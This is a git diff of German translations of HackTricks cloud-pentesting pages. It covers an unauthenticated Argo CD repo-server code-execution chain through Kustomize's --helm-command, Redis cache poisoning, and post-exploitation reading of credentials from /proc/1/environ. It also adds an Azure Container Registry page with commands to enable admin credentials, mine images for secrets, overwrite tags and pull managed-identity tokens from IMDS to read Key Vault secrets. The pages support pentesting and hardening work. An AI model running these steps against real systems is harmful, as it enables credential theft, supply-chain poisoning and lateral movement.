`argocd-repo-server`. Wenn beliebige Pods `repo-server` erreichen können, können vom Angreifer kontrollierte interne Anfragen Prüfungen umgehen, die normalerweise von `argocd-server` erzwungen werden. -Praktische Checks: +Praktische Prüfungen: ```bash kubectl get svc -n argocd argocd-repo-server -o yaml kubectl get endpoints -n argocd argocd-repo-server -o wide nc -vz 8081 ``` -Interessante Anzeichen: +Interessante Hinweise: -- Der repo-server gRPC endpoint ist von Non-Argo CD pods aus erreichbar. -- NetworkPolicies fehlen oder erlauben nur allow-list egress ohne ingress zu deny. -- Der repo-server hat Zugriff auf custom config management plugins, decryption tools oder repository content von mehreren tenants. -- Redis ist von Non-Argo CD pods aus erreichbar, was cache inspection oder tampering erlaubt, wenn Credentials verfügbar sind oder nicht erforderlich sind. +- Der gRPC-Endpunkt des repo-server ist von Nicht-Argo-CD-Pods aus erreichbar. +- NetworkPolicies fehlen oder erlauben nur Egress per Allowlist, ohne Ingress zu verweigern. +- Der repo-server hat Zugriff auf benutzerdefinierte Config-Management-Plugins, Decryption-Tools oder Repository-Inhalte mehrerer Tenants. +- Redis ist von Nicht-Argo-CD-Pods aus erreichbar, wodurch eine Untersuchung oder Manipulation des Caches möglich ist, wenn Credentials verfügbar sind oder nicht benötigt werden. ## Unauthenticated Repo-Server RCE via Kustomize Options -Im Juli 2026 veröffentlichte Synacktiv eine unauthenticated code execution chain in Argo CD's `repo-server`, wenn ein attacker den internen gRPC service erreichen kann. Der Angriff missbraucht direkten Zugriff auf `/repository.RepoServerService/GenerateManifest` und attacker-controlled `KustomizeOptions`. +Im Juli 2026 veröffentlichte Synacktiv eine unauthenticated Code-Execution-Kette in Argo CD, wenn ein Angreifer den internen gRPC-Service erreichen kann. Der Angriff missbraucht den direkten Zugriff auf `/repository.RepoServerService/GenerateManifest` und vom Angreifer kontrollierte `KustomizeOptions`. -Die gefährliche primitive ist, den repo-server dazu zu bringen, attacker-controlled repository content zu klonen und Kustomize mit Helm support auszuführen: +Das gefährliche Primitive besteht darin, den repo-server dazu zu zwingen, von einem vom Angreifer kontrollierten Repository Inhalte zu klonen und Kustomize mit Helm-Unterstützung auszuführen: ```bash kustomize build --enable-helm --helm-command ./payload.sh ``` -Minimal bösartige Kustomize-Eingabe muss Helm-Verarbeitung auslösen: +Minimale bösartige Kustomize-Eingabe muss die Helm-Verarbeitung auslösen: ```yaml helmCharts: - name: pwn version: 0.0.1 ``` -Warum das funktioniert: +Warum dies funktioniert: -- `argocd-repo-server` klont das Repository vor dem Rendern. +- `argocd-repo-server` klont das Repository vor dem Rendering. - `--helm-command ./payload.sh` wird relativ zum geklonten Repository aufgelöst. -- Code execution erfordert keine Shell-Metazeichen-Injection, wenn der Angreifer das gerenderte Repository und die Kustomize build-Optionen kontrollieren kann. +- Code execution erfordert keine Injektion von Shell-Metazeichen, wenn der Angreifer das gerenderte Repository und die Kustomize-Build-Optionen kontrollieren kann. -Zum Zeitpunkt der Offenlegung durch Synacktiv am 1. Juli 2026 berichteten sie, dass es für das Problem keinen offiziellen Fix oder CVE gab. Behandle dies zuerst als ein network-exposure-Problem: Eine Ausnutzung erfordert Erreichbarkeit des internen repo-server gRPC ports. +Zum Zeitpunkt der Offenlegung durch Synacktiv am 1. Juli 2026 berichteten sie, dass es für das Problem keinen offiziellen Fix und keine CVE gab. Behandle dies zunächst als ein Network-Exposure-Problem: Die Ausnutzung erfordert Erreichbarkeit des internen repo-server-gRPC-Ports. -## Redis Cache Poisoning zum Bereitstellen von Manifests +## Redis Cache Poisoning zum Deployen von Manifests -Nach Code execution in `argocd-repo-server` oder nach direktem Zugriff auf Redis mit gültigen Anmeldedaten solltest du die Redis-gestützten Cache-Einträge prüfen. Argo CD speichert häufig gzip-komprimierte JSON-Werte. +Nach der Code execution in `argocd-repo-server` oder nach direktem Zugriff auf Redis mit gültigen Credentials solltest du die von Redis verwalteten Cache-Einträge untersuchen. Argo CD speichert üblicherweise gzip-komprimierte JSON-Werte. Interessante Key-Präfixe: ```text @@ -132,37 +132,37 @@ git-refs|... # Git branch/ref to commit mappings app|... # application resource/cache data cluster|... # cluster cache information ``` -Der Cache-Poisoning-Angriff, der von Synacktiv beschrieben wird, missbraucht zwei Zustände: +Der von Synacktiv beschriebene Cache-Poisoning-Angriff missbraucht zwei Zustände: -1. Ändere den relevanten `mfst|...` manifest cache-Eintrag, um ein von einem Angreifer kontrolliertes Kubernetes-Manifest einzuschließen. -2. Ändere das zugehörige `git-refs|...` Mapping, damit Argo CD glaubt, dass sich der Branch verschoben hat, und dann wieder auf die gecachte Revision zurück reconciles. +1. Den relevanten `mfst|...`-Manifest-Cache-Eintrag so ändern, dass er ein vom Angreifer kontrolliertes Kubernetes-Manifest enthält. +2. Das zugehörige `git-refs|...`-Mapping so ändern, dass Argo CD glaubt, der Branch habe sich geändert, und anschließend mit der gecachten Revision synchronisiert. -Impact: +Auswirkungen: -- Mit aktiviertem Auto Sync kann Argo CD das vergiftete gecachte Manifest automatisch anwenden. -- Ohne Auto Sync kann der Payload trotzdem angewendet werden, wenn ein User die Application manuell syncs. -- Der endgültige Impact wird durch das Ziel der Application und die Kubernetes-Berechtigungen begrenzt, die Argo CD zur Verfügung stehen. +- Wenn Auto Sync aktiviert ist, kann Argo CD das manipulierte gecachte Manifest automatisch anwenden. +- Ohne Auto Sync kann die Payload weiterhin angewendet werden, wenn ein Benutzer die Application manuell synchronisiert. +- Die endgültigen Auswirkungen sind durch das Ziel der betroffenen Application und die für Argo CD verfügbaren Kubernetes-Berechtigungen begrenzt. -## ApplicationSet Attacks +## Angriffe auf ApplicationSet -ApplicationSet ist besonders sensibel, weil es `Application`-Objekte aus Generator-Output erstellt oder aktualisiert. +ApplicationSet ist besonders sensibel, da es `Application`-Objekte aus dem Generator-Output erstellt oder aktualisiert. -Review: +Überprüfung: ```bash kubectl get applicationsets.argoproj.io -A -o yaml kubectl get appprojects.argoproj.io -A -o yaml ``` Interessante Muster: -- Git generators lesen von angreifbar schreibbaren Dateien, die App-Namen, Pfade, Projects oder destinations steuern. -- Pull request generators für öffentliche Repositories, bei denen nicht vertrauenswürdige Contributor generierte applications beeinflussen können. -- Template-Felder, die breite destination clusters/namespaces erlauben. -- AppProjects, die `sourceRepos: ["*"]` oder breite `destinations` erlauben. -- Generierte applications, die automated sync und pruning erben. +- Git generators, die angreiferbeschreibbare Dateien lesen, welche App-Namen, Pfade, Projekte oder Ziele steuern. +- Pull request generators für öffentliche Repositories, bei denen nicht vertrauenswürdige Beitragende Einfluss auf generierte Anwendungen nehmen können. +- Template-Felder, die weitreichende Ziel-Cluster/Namensräume erlauben. +- AppProjects, die `sourceRepos: ["*"]` oder weitreichende `destinations` erlauben. +- Generierte Anwendungen, die automatisierte Synchronisierung und Pruning übernehmen. ## Post-Exploitation -Von einer Argo CD pod shell aus priorisieren: +Aus einer Argo-CD-Pod-Shell heraus hat Priorität: ```bash env cat /proc/1/environ 2>/dev/null | tr '\0' '\n' @@ -171,24 +171,24 @@ mount | grep -E 'secret|token|config' ``` Nützliche Ziele: -- Steal `REDIS_PASSWORD` oder Redis TLS/client material. -- Extrahiere Repository-Credentials aus gemounteten Secrets oder Argo CD Kubernetes Secrets. -- Identifiziere Cluster-Credentials, die von Argo CD verwendet werden. -- Lies generierte Manifeste und Plugin-Output, die injizierte Secrets enthalten können. -- Prüfe, ob custom plugins, SOPS, Helm secrets, Vault plugins oder cloud CLIs Decryption Keys und Cloud-Credentials preisgeben. +- `REDIS_PASSWORD` oder Redis TLS/client-Material stehlen. +- Repository-Credentials aus gemounteten Secrets oder Argo CD Kubernetes-Secrets extrahieren. +- Die von Argo CD verwendeten Cluster-Credentials identifizieren. +- Generierte Manifests und Plugin-Output lesen, die injizierte Secrets enthalten können. +- Prüfen, ob benutzerdefinierte Plugins, SOPS, Helm secrets, Vault plugins oder cloud CLIs Decryption Keys und Cloud-Credentials offenlegen. ## Detection & Hardening Wichtige Prüfungen: -- Beschränke den `argocd-repo-server`-Port **8081** und den Redis-Port **6379** mit NetworkPolicies, sodass nur erwartete Argo CD-Komponenten sie erreichen können. -- Prüfe in Helm deployments, ob NetworkPolicies tatsächlich erstellt werden. Argo CD Helm chart values haben historisch die Erstellung von Component Network Policies standardmäßig deaktiviert. -- Verwende `argocd-server` als authentifizierten Einstiegspunkt. Interne Services sollten nicht für beliebige Workloads erreichbar sein. -- Deaktiviere nicht verwendete config management tools und plugins. -- Beschränke `AppProject` `sourceRepos`, `destinations`, Namespace-Berechtigungen und cluster-scoped resources. -- Vermeide das Speichern breit gefasster Repository-Credentials, bei denen ein niedrig privilegierter Argo CD user deren Wiederverwendung auslösen kann. -- Überwache Repo-server-Requests, Kustomize build options, Plugin-Ausführungen, Redis-Writes und unerwarteten Zugriff auf `mfst|` / `git-refs|` Keys. -- Rotiere Argo CD local users, project tokens, repository credentials und cluster credentials nach einem Kompromiss. +- Den `argocd-repo-server`-Port **8081** und den Redis-Port **6379** mit NetworkPolicies einschränken, sodass nur erwartete Argo CD-Komponenten darauf zugreifen können. +- Bei Helm deployments überprüfen, ob Network Policies tatsächlich erstellt werden. Die Werte des Argo CD Helm chart haben die Erstellung von Network Policies für Komponenten historisch standardmäßig deaktiviert. +- `argocd-server` als authentifizierten Einstiegspunkt beibehalten. Interne Services sollten von beliebigen Workloads aus nicht erreichbar sein. +- Nicht verwendete config management tools und plugins deaktivieren. +- `AppProject` `sourceRepos`, `destinations`, Namespace-Berechtigungen und cluster-scoped resources einschränken. +- Vermeiden, weitreichende Repository-Credentials dort zu speichern, wo ein Argo CD user mit niedrigen Berechtigungen deren Wiederverwendung auslösen kann. +- Repo-server requests, Kustomize build options, plugin executions, Redis writes und unerwarteten Zugriff auf `mfst|`- / `git-refs|`-Keys überwachen. +- Argo CD local users, project tokens, Repository-Credentials und Cluster-Credentials nach einer Kompromittierung rotieren. Nützliche Befehle: ```bash @@ -197,23 +197,24 @@ kubectl get networkpolicy -A | grep -i argocd kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null ``` -## Statische Analyse-Hinweis: Typed API Requests in CodeQL +## Hinweis zur statischen Analyse: Typisierte API-Anfragen in CodeQL -Für Go-Services mit gRPC/REST-Handlern können die default CodeQL remote sources Flows übersehen, sobald raw input in typed request objects unmarshalled wurde. Ein nützliches Model für Argo CD-style Services ist: +Bei Go-Diensten, die gRPC/REST-Handler verwenden, können die standardmäßigen CodeQL-Remote-Sources Datenflüsse übersehen, sobald Raw Input in typisierte Request-Objekte unmarshaled wurde. Ein nützliches Modell für Argo CD-ähnliche Dienste ist: -- Receiver type wie `Server` oder `Service`. -- Der erste parameter ist `context.Context`. -- Der zweite parameter ist ein typed request object. +- Receiver-Typ wie `Server` oder `Service`. +- Erster Parameter ist `context.Context`. +- Zweiter Parameter ist ein typisiertes Request-Objekt. -Modelliere diesen zweiten parameter als remote source und füge custom sinks für `exec.Command` / `exec.CommandContext` arguments hinzu. Das hilft, Flows von internen API request fields in command execution helpers zu finden. +Modellieren Sie diesen zweiten Parameter als Remote-Source und fügen Sie benutzerdefinierte Sinks für Argumente von `exec.Command` / `exec.CommandContext` hinzu. Dadurch lassen sich Datenflüsse von Feldern interner API-Requests zu Command-Execution-Helpern erkennen. -## References +## Referenzen - [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql) -- [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/) +- [Argo CD docs - Sicherheitshinweise](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/) - [Argo CD docs - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/) - [Argo CD docs - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/) - [Argo CD - repo-server NetworkPolicy manifest](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml) -- [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/) +- [Argo CD docs - Metriken](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/) - [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md) - [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md) +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md index 52b7c1b91..ed71bf4d6 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md @@ -6,4 +6,8 @@ az-azure-ai-foundry-post-exploitation.md {{#endref}} +{{#ref}} +az-container-registry-post-exploitation.md +{{#endref}} + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md new file mode 100644 index 000000000..ac998a2bd --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md @@ -0,0 +1,87 @@ +# Az - Container Registry Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Registry + +Weitere Informationen zu diesem Service: + +{{#ref}} +../az-services/az-container-registry.md +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write` + +Eine Identität mit ACR Management-Plane-Zugriff kann diesen Zugriff in **wiederverwendbare Docker-Credentials** umwandeln. Wenn der **admin user** deaktiviert ist, der Principal jedoch ebenfalls über `registries/write` verfügt, kann er ihn aktivieren, die Passwörter abrufen und sich direkt bei `.azurecr.io` authentifizieren. +```bash +az acr show --resource-group --name --query adminUserEnabled +az acr update --resource-group --name --admin-enabled true +az acr credential show -n +docker login .azurecr.io -u -p +``` +Dies ist nützlich, weil die wiederhergestellten Zugangsdaten außerhalb der Azure CLI wiederverwendet werden können, um Registry-Inhalte zu **auflisten, abzurufen, hochzuladen, zu überschreiben und manchmal zu löschen**, bis das Administratorkonto deaktiviert oder die Passwörter geändert wurden. + +### `Microsoft.ContainerRegistry/registries/pull/read` + +Verwende Pull-Zugriff für die **Repository-Aufklärung** und die **Suche nach Secrets** in Images. Überprüfe sowohl die endgültige Containerkonfiguration als auch die historischen Dateisystem-Layer, da Dateien, die in einen Layer kopiert wurden, möglicherweise weiterhin wiederhergestellt werden können, selbst wenn sie später gelöscht wurden. +```bash +az acr repository list -n +az acr repository show-tags -n --repository --detail +docker pull .azurecr.io/: + +container_id=$(docker create .azurecr.io/:) +docker cp "$container_id":/ ./extracted_container +docker rm "$container_id" +docker inspect .azurecr.io/: | jq -r '.[0].Config.Env[]?' +dive .azurecr.io/: +``` +Zu den hochwertigen Zielen gehören **Umgebungsvariablen**, **Anwendungskonfigurationen**, **Deployment-Skripte**, **Zertifikate**, **Zugriffstokens** und **Verbindungszeichenfolgen**. Weitere Ideen beim Überprüfen von Layern findest du auf der Docker-forensics-Seite: + +{{#ref}} +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/push/write` + +Push-Zugriff ermöglicht es einem Angreifer, **vertrauenswürdige Repositories zu vergiften** oder **veränderliche Tags** wie `latest`, `prod` oder `stable` zu überschreiben. Jeder Workload, der weiterhin anhand eines Tags statt eines Digests deployed wird, kann beim nächsten Deployment, Scale-out-Ereignis oder Neustart das Image des Angreifers abrufen. +```bash +# Retag an existing local image for the target ACR + +docker tag : .azurecr.io/: +docker push .azurecr.io/: + +# If your workstation architecture differs from the target runtime, build for the consumer platform first + +docker buildx build --platform linux/amd64 -t .azurecr.io/: --load . +docker push .azurecr.io/: +``` +Vor dem Ersetzen eines Tags sollte überprüft werden, welche Repositories und Tags von nachgelagerten Workloads tatsächlich verwendet werden. **Digest-pinned** Consumer (`@sha256:...`) lassen sich deutlich schwerer umleiten als tag-basierte Consumer. + +### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action` + +Wenn sowohl das **von einem nachgelagerten Container-Workload verwendete Image ersetzt** als auch dieser Workload **neu gestartet** werden kann, wird der bösartige entrypoint im **Netzwerk- und Managed-Identity-Kontext** des Zielcontainers ausgeführt. Von dort kann das Image Tokens von IMDS anfordern und auf Azure-Ressourcen zugreifen, die über die Identität dieses Workloads erreichbar sind. +```bash +TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token) +curl -H "Authorization: Bearer $TOKEN" \ +'https://.vault.azure.net/secrets/?api-version=7.4' +az container restart --resource-group --name +``` +Dies wandelt ein ACR tag overwrite in **code execution**, **secret theft** oder **lateral movement** innerhalb jedes Container-Consumers um, der dem geänderten Tag vertraut und eine nützliche Identität offenlegt. + +### Zugehöriger privesc-Pfad: Von ACR Tasks verwaltete Identitäten + +Wenn du außerdem über `Microsoft.ContainerRegistry/registries/tasks/write` und `Microsoft.ContainerRegistry/registries/runs/write` verfügst, wechsle zum ACR-privesc-Pfad und missbrauche die managed identity des Tasks direkt: + +{{#ref}} +../az-privilege-escalation/az-container-registry-privesc.md +{{#endref}} + +## Referenzen + +- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security) +- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication) +- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest) +- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest) +- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md index 244d0b46a..ec308ad32 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -4,37 +4,37 @@ ## Grundlegende Informationen -Azure Container Registry (ACR) ist ein sicheres, privates Registry, mit dem du **Container-Images in der Azure cloud speichern, verwalten und darauf zugreifen kannst**. Es integriert sich nahtlos mit mehreren Azure-Services und bietet automatisierte Build- und Deployment-Workflows im großen Maßstab. Mit Funktionen wie geo-replication und vulnerability scanning hilft ACR, Enterprise-Grade-Sicherheit und Compliance für containerisierte Anwendungen sicherzustellen. +Azure Container Registry (ACR) ist eine sichere, private Registry, mit der du **Container-Images in der Azure cloud speichern, verwalten und darauf zugreifen** kannst. Sie lässt sich nahtlos in mehrere Azure-Services integrieren und bietet automatisierte Build- und Deployment-Workflows im großen Maßstab. Mit Funktionen wie Geo-Replikation und Vulnerability Scanning trägt ACR dazu bei, Sicherheit und Compliance auf Enterprise-Niveau für containerisierte Anwendungen sicherzustellen. -### Permissions +### Berechtigungen -Dies sind die **verschiedenen Permissions** [laut den docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager), die für ein Container Registry vergeben werden können: +Dies sind die **verschiedenen Berechtigungen**, die [laut Dokumentation](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) für eine Container Registry vergeben werden können: -- Access Resource Manager -- Create/delete registry -- Push image -- Pull image -- Delete image data -- Change policies -- Sign images +- Zugriff auf den Resource Manager +- Registry erstellen/löschen +- Image pushen +- Image pullen +- Image-Daten löschen +- Richtlinien ändern +- Images signieren -Es gibt außerdem einige **integrierte roles**, die zugewiesen werden können, und es ist auch möglich, **custom roles** zu erstellen. +Es gibt außerdem einige **integrierte Rollen**, die zugewiesen werden können, und es ist auch möglich, **benutzerdefinierte Rollen** zu erstellen. -![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png) +![Berechtigungsmatrix der integrierten Azure Container Registry-Rollen zur Verwaltung von Registry-, Image-, Daten-, Richtlinien- und Signierungsaktionen](/images/registry_roles.png) -### Authentication +### Authentifizierung > [!WARNING] -> Es ist sehr wichtig, dass du immer **Kleinbuchstaben** zum login, pushen und pullen von Images verwendest, auch wenn der Registry-Name einige Großbuchstaben enthält. +> Es ist **sehr wichtig**, dass du dich zum Login, Pushen und Pullen von Images immer mit **Kleinbuchstaben** anmeldest, selbst wenn der Name der Registry einige Großbuchstaben enthält. -Es gibt 4 Möglichkeiten, sich bei einem ACR zu authentifizieren: +Es gibt 4 Möglichkeiten, sich bei einer ACR zu authentifizieren: -- **Mit Entra ID**: Das ist die **Standard**-Methode, um sich bei einem ACR zu authentifizieren. Sie verwendet den **`az acr login`**-Befehl zur Authentifizierung beim ACR. Dieser Befehl wird die **credentials** in der Datei **`~/.docker/config.json`** speichern. Wenn du diesen Befehl außerdem in einer Umgebung ohne Zugriff auf einen docker socket ausführst, wie z. B. in einer **cloud shell**, kannst du das Flag **`--expose-token`** verwenden, um das **token** zur Authentifizierung beim ACR zu erhalten. Dann musst du dich mit dem Benutzernamen `00000000-0000-0000-0000-000000000000` authentifizieren, zum Beispiel so: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` -- **Mit einem admin account**: Der admin user ist standardmäßig deaktiviert, kann aber aktiviert werden, und dann ist es möglich, mit **username** und **password** des admin accounts auf das Registry zuzugreifen, mit vollen Permissions für das Registry. Das wird weiterhin unterstützt, weil einige Azure-Services es verwenden. Beachte, dass für diesen Benutzer **2 passwords** erstellt werden und beide gültig sind. Du kannst es mit `az acr update -n --admin-enabled true` aktivieren. Beachte, dass der Benutzername normalerweise der Registry-Name ist (und nicht `admin`). -- **Mit einem token**: Es ist möglich, einen **token** mit einer bestimmten **`scope map`** (Permissions) zu erstellen, um auf das Registry zuzugreifen. Dann kann der Name des tokens als username und eines der generierten passwords zur Authentifizierung beim Registry verwendet werden mit `docker login -u -p ` -- **Mit einem Service Principal**: Es ist möglich, einen **service principal** zu erstellen und ihm eine Rolle wie **`AcrPull`** zuzuweisen, um Images zu pullen. Dann ist es möglich, sich beim Registry mit der SP appId als username und einem erzeugten secret als password einzuloggen. +- **Mit Entra ID**: Dies ist die **Standardmethode**, um sich bei einer ACR zu authentifizieren. Sie verwendet den Befehl **`az acr login`**, um sich bei der ACR zu authentifizieren. Dieser Befehl **speichert die Zugangsdaten** in der Datei **`~/.docker/config.json`**. Wenn du diesen Befehl außerdem aus einer Umgebung ohne Zugriff auf einen Docker-Socket ausführst, beispielsweise in einer **cloud shell**, kannst du das Flag **`--expose-token`** verwenden, um das **Token** für die Authentifizierung bei der ACR abzurufen. Für die Authentifizierung musst du anschließend `00000000-0000-0000-0000-000000000000` als Benutzernamen verwenden, wie hier: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **Mit einem Admin-Konto**: Der Admin-Benutzer ist standardmäßig deaktiviert, kann jedoch aktiviert werden. Anschließend ist es möglich, mit dem **Benutzernamen** und **Passwort** des Admin-Kontos auf die Registry zuzugreifen, das über vollständige Berechtigungen für die Registry verfügt. Dies wird weiterhin unterstützt, da einige Azure-Services es verwenden. Beachte, dass für diesen Benutzer **2 Passwörter** erstellt werden und beide gültig sind. Du kannst es mit `az acr update -n --admin-enabled true` aktivieren. Beachte, dass der Benutzername normalerweise dem Namen der Registry entspricht (und nicht `admin`). +- **Mit einem Token**: Es ist möglich, ein **Token** mit einer bestimmten **`scope map`** (Berechtigungen) für den Zugriff auf die Registry zu erstellen. Anschließend kannst du den Namen des Tokens als Benutzernamen und eines der generierten Passwörter verwenden, um dich mit `docker login -u -p ` bei der Registry zu authentifizieren. +- **Mit einem Service Principal**: Es ist möglich, einen **Service Principal** zu erstellen und ihm eine Rolle wie **`AcrPull`** zum Pullen von Images zuzuweisen. Anschließend ist es möglich, sich bei der **Registry anzumelden**, indem die SP-AppId als Benutzername und ein generiertes Secret als Passwort verwendet werden. -Example script from the [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) to generate a SP with access over a registry: +Beispielskript aus der [Dokumentation](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) zum Erstellen eines SP mit Zugriff auf eine Registry: ```bash #!/bin/bash ACR_NAME=$containerRegistry @@ -51,39 +51,39 @@ echo "Service principal password: $PASSWORD" ``` ### Encryption -Nur die **Premium SKU** unterstützt **encryption at rest** für die Images und andere Artifacts. +Nur die **Premium SKU** unterstützt **encryption at rest** für die Images und andere Artefakte. ### Networking -Nur die **Premium SKU** unterstützt **private endpoints**. Die anderen unterstützen nur **public access**. Ein public endpoint hat das Format `.azurecr.io` und ein private endpoint hat das Format `.privatelink.azurecr.io`. Aus diesem Grund muss der Name des Registry eindeutig in ganz Azure sein. +Nur die **Premium SKU** unterstützt **private endpoints**. Die anderen unterstützen ausschließlich **public access**. Ein öffentlicher Endpoint hat das Format `.azurecr.io`, und ein privater Endpoint hat das Format `.privatelink.azurecr.io`. Aus diesem Grund muss der Name der Registry in ganz Azure eindeutig sein. ### Microsoft Defender for Cloud -Dies ermöglicht dir, die **Images** im Registry auf **vulnerabilities** zu **scan**. +Damit können die **Images** in der Registry auf **vulnerabilities** gescannt werden. ### Soft-delete -Die **soft-delete**-Funktion ermöglicht es dir, ein gelöschtes Registry innerhalb der angegebenen Anzahl von Tagen wiederherzustellen. Diese Funktion ist standardmäßig **disabled**. +Die Funktion **soft-delete** ermöglicht es, eine **gelöschte Registry** innerhalb der angegebenen Anzahl von Tagen **wiederherzustellen**. Diese Funktion ist **standardmäßig deaktiviert**. ### Webhooks -Es ist möglich, **Webhooks** innerhalb von Registries zu **create**. In diesem Webhook muss die URL angegeben werden, an die eine **request** gesendet wird, wann immer eine push- oder delete-Aktion ausgeführt wird. Außerdem können Webhooks einen Scope angeben, um die Repositories (Images) zu bestimmen, die betroffen sind. Zum Beispiel bedeutet 'foo:\*' Events unter dem Repository 'foo'. +Es ist möglich, **Webhooks** innerhalb von Registries zu **erstellen**. In diesem Webhook muss die URL angegeben werden, an die ein **request gesendet wird, sobald eine push- oder delete-Aktion ausgeführt wird**. Außerdem können Webhooks einen Scope angeben, der festlegt, welche Repositories (Images) betroffen sind. Beispielsweise bedeutet `foo:*`, dass es um Events unter dem Repository `foo` geht. -Aus Angreiferperspektive ist es interessant, dies **vor jeder Aktion** im Registry zu prüfen und es bei Bedarf vorübergehend zu entfernen, um nicht entdeckt zu werden. +Aus Sicht eines Angreifers ist es interessant, dies **vor jeder Aktion** in der Registry zu überprüfen und den Webhook bei Bedarf vorübergehend zu entfernen, um eine Entdeckung zu vermeiden. ### Connected registries -Dies ermöglicht im Grunde, die **Images** von einem Registry zu einem anderen zu **mirror**, normalerweise on-premises. +Dies ermöglicht grundsätzlich das **Spiegeln der Images** von einer Registry in eine andere, die sich üblicherweise on-premises befindet. -Es gibt 2 Modi: **ReadOnly** und **ReadWrite**. Im ersten werden die Images nur aus dem Source Registry **pulled**, und im zweiten können Images auch zum Source Registry **pushed** werden. +Es gibt 2 Modi: **ReadOnly** und **ReadWrite**. Im ersten Modus werden die Images nur aus der Quell-Registry **gezogen**, im zweiten Modus können Images auch in die Quell-Registry **gepusht** werden. -Damit Clients von Azure aus auf das Registry zugreifen können, wird ein **token** generiert, wenn das conected registry verwendet wird. +Damit Clients aus Azure auf die Registry zugreifen können, wird bei der Verwendung der Connected Registry ein **token** generiert. ### Runs & Tasks -Runs & Tasks ermöglicht es, in Azure containerbezogene Aktionen auszuführen, die man typischerweise lokal oder in einer CI/CD-Pipeline machen musste. Zum Beispiel kannst du **Images im Registry build, push und run**. +Mit Runs & Tasks können containerbezogene Aktionen in Azure ausgeführt werden, die normalerweise lokal oder in einer CI/CD-Pipeline ausgeführt werden müssen. Beispielsweise können **Images in der Registry erstellt, gepusht und ausgeführt werden**. -Der einfachste Weg, einen Container zu bauen und auszuführen, ist die Verwendung eines regulären Run: +Die einfachste Möglichkeit, einen Container zu erstellen und auszuführen, besteht darin, einen regulären Run zu verwenden: ```bash # Build echo "FROM mcr.microsoft.com/hello-world" > Dockerfile @@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f # Run az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null ``` -However, das wird runs auslösen, die aus Angreiferperspektive nicht besonders interessant sind, weil ihnen keine managed identity zugeordnet ist. +Allerdings werden dadurch Runs ausgelöst, die aus Angreifersicht nicht besonders interessant sind, da ihnen keine managed identity zugewiesen ist. -However, **tasks** können eine **system and user managed identity** zugeordnet bekommen. Diese tasks sind die, die nützlich sind, um im container **privileges zu eskalieren**. Im privileges escalation Abschnitt ist es möglich zu sehen, wie tasks verwendet werden können, um privileges zu eskalieren. +**tasks** können jedoch eine **system and user managed identity** zugewiesen bekommen. Diese tasks sind nützlich, um die **Rechte im Container zu erweitern**. Im Abschnitt zur Privilege Escalation wird gezeigt, wie tasks zur Erweiterung von Rechten verwendet werden können. ### Cache -Die cache-Funktion erlaubt es, **images aus einem external repository herunterzuladen** und die neuen Versionen im registry zu speichern. Dafür müssen einige **credentials konfiguriert** sein, indem man die credentials aus einem Azure Vault auswählt. +Die Cache-Funktion 